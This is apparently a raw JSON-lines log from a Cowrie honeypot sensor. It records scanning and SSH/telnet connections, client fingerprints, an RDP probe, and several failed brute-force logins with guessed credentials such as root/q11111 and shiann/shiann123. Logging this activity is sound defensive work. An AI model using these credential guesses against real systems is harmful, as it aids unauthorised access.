{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46036,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fece2b4fb0d","protocol":"telnet","message":"New connection: 152.42.224.71:46036 (10.17.0.5:23) [session: 6fece2b4fb0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:18.124489Z"}
{"eventid":"cowrie.session.closed","duration":39.59236550331116,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:18.652365Z","src_ip":"152.42.224.71","session":"1739e9be9b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53614,"dst_ip":"159.203.135.109","dst_port":22,"session":"486687fce8cd","protocol":"ssh","message":"New connection: 152.42.212.128:53614 (159.203.135.109:22) [session: 486687fce8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:18.765457Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:18.770126Z","src_ip":"152.42.212.128","session":"486687fce8cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:18.773660Z","src_ip":"152.42.212.128","session":"486687fce8cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46050,"dst_ip":"10.17.0.5","dst_port":23,"session":"1198b0bbdf88","protocol":"telnet","message":"New connection: 152.42.224.71:46050 (10.17.0.5:23) [session: 1198b0bbdf88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:23.535547Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46056,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f1abc44e447","protocol":"telnet","message":"New connection: 152.42.224.71:46056 (10.17.0.5:23) [session: 1f1abc44e447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:25.774349Z"}
{"eventid":"cowrie.session.closed","duration":27.073485136032104,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:27.522671Z","src_ip":"152.42.224.71","session":"4b63c462fc46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.63459753990173,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:27.715612Z","src_ip":"152.42.224.71","session":"d9d844b4703a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":100.8118085861206,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:27.735048Z","src_ip":"152.42.224.71","session":"d61ed37ba8a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0031943321228,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:29.571099Z","src_ip":"152.42.224.71","session":"320a640114f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.213064193725586,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:33.291749Z","src_ip":"152.42.224.71","session":"1c3513d7f83e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56332,"dst_ip":"10.17.0.5","dst_port":23,"session":"feab5c277570","protocol":"telnet","message":"New connection: 152.42.224.71:56332 (10.17.0.5:23) [session: feab5c277570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:38.112087Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56344,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e7da7501042","protocol":"telnet","message":"New connection: 152.42.224.71:56344 (10.17.0.5:23) [session: 2e7da7501042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:38.498332Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":37608,"dst_ip":"10.17.0.5","dst_port":22,"session":"5876d12c20c9","protocol":"ssh","message":"New connection: 103.149.28.157:37608 (10.17.0.5:22) [session: 5876d12c20c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:39.224374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:39.227802Z","src_ip":"103.149.28.157","session":"5876d12c20c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:39.470771Z","src_ip":"103.149.28.157","session":"5876d12c20c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56358,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd9506e51c83","protocol":"telnet","message":"New connection: 152.42.224.71:56358 (10.17.0.5:23) [session: bd9506e51c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:40.093722Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"futyn007","message":"login attempt [root/futyn007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:40.218654Z","src_ip":"103.149.28.157","session":"5876d12c20c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:41.464947Z","src_ip":"103.149.28.157","session":"5876d12c20c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.45854115486145,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:47.944809Z","src_ip":"152.42.224.71","session":"d77e6a8e0196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47318,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de218c97d62","protocol":"telnet","message":"New connection: 152.42.224.71:47318 (10.17.0.5:23) [session: 5de218c97d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:56.001368Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":60658,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b2beace96f","protocol":"ssh","message":"New connection: 103.149.170.125:60658 (10.17.0.5:22) [session: b9b2beace96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:59.591205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:59.595393Z","src_ip":"103.149.170.125","session":"b9b2beace96f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:44:59.863314Z","src_ip":"103.149.170.125","session":"b9b2beace96f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q11111","message":"login attempt [root/q11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:00.669000Z","src_ip":"103.149.170.125","session":"b9b2beace96f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47332,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d9cb4814683","protocol":"telnet","message":"New connection: 152.42.224.71:47332 (10.17.0.5:23) [session: 1d9cb4814683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:01.629778Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:01.941954Z","src_ip":"103.149.170.125","session":"b9b2beace96f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47346,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0cb26183c65","protocol":"telnet","message":"New connection: 152.42.224.71:47346 (10.17.0.5:23) [session: e0cb26183c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:05.406237Z"}
{"eventid":"cowrie.session.closed","duration":120.00104570388794,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:08.123097Z","src_ip":"152.42.224.71","session":"4d502fe8d82a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":13185,"dst_ip":"10.17.0.5","dst_port":22,"session":"db432e07eb5e","protocol":"ssh","message":"New connection: 213.209.159.56:13185 (10.17.0.5:22) [session: db432e07eb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:11.558176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:11.564988Z","src_ip":"213.209.159.56","session":"db432e07eb5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:11.646250Z","src_ip":"213.209.159.56","session":"db432e07eb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann","message":"login attempt [shiann/shiann] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:12.046954Z","src_ip":"213.209.159.56","session":"db432e07eb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann1","message":"login attempt [shiann/shiann1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:13.133155Z","src_ip":"213.209.159.56","session":"db432e07eb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00194549560547,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:13.370034Z","src_ip":"152.42.224.71","session":"fc301fd6f517","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann123","message":"login attempt [shiann/shiann123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:14.218633Z","src_ip":"213.209.159.56","session":"db432e07eb5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann1234","message":"login attempt [shiann/shiann1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:15.304510Z","src_ip":"213.209.159.56","session":"db432e07eb5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60926,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b17731ae1da","protocol":"telnet","message":"New connection: 152.42.224.71:60926 (10.17.0.5:23) [session: 1b17731ae1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:16.054569Z"}
{"eventid":"cowrie.login.failed","username":"shiann","password":"shiann12345","message":"login attempt [shiann/shiann12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:16.389405Z","src_ip":"213.209.159.56","session":"db432e07eb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:17.474600Z","src_ip":"213.209.159.56","session":"db432e07eb5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.50874710083008,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:18.620743Z","src_ip":"152.42.224.71","session":"feab5c277570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60940,"dst_ip":"10.17.0.5","dst_port":23,"session":"8da459c78637","protocol":"telnet","message":"New connection: 152.42.224.71:60940 (10.17.0.5:23) [session: 8da459c78637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:21.319969Z"}
{"eventid":"cowrie.session.closed","duration":120.0027985572815,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:23.244881Z","src_ip":"152.42.224.71","session":"d26072110629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60946,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dfbf7ce64fe","protocol":"telnet","message":"New connection: 152.42.224.71:60946 (10.17.0.5:23) [session: 8dfbf7ce64fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:24.552746Z"}
{"eventid":"cowrie.session.closed","duration":59.101887226104736,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:24.876120Z","src_ip":"152.42.224.71","session":"1f1abc44e447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60952,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9f037a7b6d","protocol":"telnet","message":"New connection: 152.42.224.71:60952 (10.17.0.5:23) [session: ce9f037a7b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:24.923483Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60960,"dst_ip":"10.17.0.5","dst_port":23,"session":"98cce569af1d","protocol":"telnet","message":"New connection: 152.42.224.71:60960 (10.17.0.5:23) [session: 98cce569af1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:25.973609Z"}
{"eventid":"cowrie.session.closed","duration":62.80412745475769,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:26.339535Z","src_ip":"152.42.224.71","session":"1198b0bbdf88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.988370895385742,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:28.618012Z","src_ip":"152.42.224.71","session":"1d9cb4814683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55846,"dst_ip":"10.17.0.5","dst_port":23,"session":"9669cfad6a4a","protocol":"telnet","message":"New connection: 152.42.224.71:55846 (10.17.0.5:23) [session: 9669cfad6a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:28.659808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55858,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cab7cfebf9d","protocol":"telnet","message":"New connection: 152.42.224.71:55858 (10.17.0.5:23) [session: 1cab7cfebf9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:30.292339Z"}
{"eventid":"cowrie.session.closed","duration":52.888532876968384,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:31.386771Z","src_ip":"152.42.224.71","session":"2e7da7501042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55874,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f3396b347f","protocol":"telnet","message":"New connection: 152.42.224.71:55874 (10.17.0.5:23) [session: 76f3396b347f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:32.153003Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55878,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb350734d907","protocol":"telnet","message":"New connection: 152.42.224.71:55878 (10.17.0.5:23) [session: bb350734d907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:33.302570Z"}
{"eventid":"cowrie.session.closed","duration":40.631481885910034,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:36.632714Z","src_ip":"152.42.224.71","session":"5de218c97d62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.356321096420288,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:37.648410Z","src_ip":"152.42.224.71","session":"1cab7cfebf9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57390,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c06971c8fc6","protocol":"telnet","message":"New connection: 152.42.224.71:57390 (10.17.0.5:23) [session: 9c06971c8fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:44.839756Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57398,"dst_ip":"10.17.0.5","dst_port":23,"session":"03cdb8264568","protocol":"telnet","message":"New connection: 152.42.224.71:57398 (10.17.0.5:23) [session: 03cdb8264568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:44.844193Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41766,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34bf8b03c91","protocol":"telnet","message":"New connection: 152.42.224.71:41766 (10.17.0.5:23) [session: e34bf8b03c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:48.266964Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74eeeb534d4","protocol":"telnet","message":"New connection: 152.42.224.71:55654 (10.17.0.5:23) [session: b74eeeb534d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:45:56.405143Z"}
{"eventid":"cowrie.session.closed","duration":15.346949815750122,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:00.191000Z","src_ip":"152.42.224.71","session":"03cdb8264568","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.53676080703735,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:00.856634Z","src_ip":"152.42.224.71","session":"8da459c78637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.0046272277832,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:03.927991Z","src_ip":"152.42.224.71","session":"ce9f037a7b6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42372,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef040851980","protocol":"telnet","message":"New connection: 152.42.224.71:42372 (10.17.0.5:23) [session: 6ef040851980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:09.966724Z"}
{"eventid":"cowrie.session.closed","duration":39.26483106613159,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:11.417711Z","src_ip":"152.42.224.71","session":"76f3396b347f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42384,"dst_ip":"10.17.0.5","dst_port":23,"session":"5af4a514e402","protocol":"telnet","message":"New connection: 152.42.224.71:42384 (10.17.0.5:23) [session: 5af4a514e402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:13.138660Z"}
{"eventid":"cowrie.session.closed","duration":49.77510595321655,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:46:14.327716Z","src_ip":"152.42.224.71","session":"8dfbf7ce64fe","protocol":"telnet"}
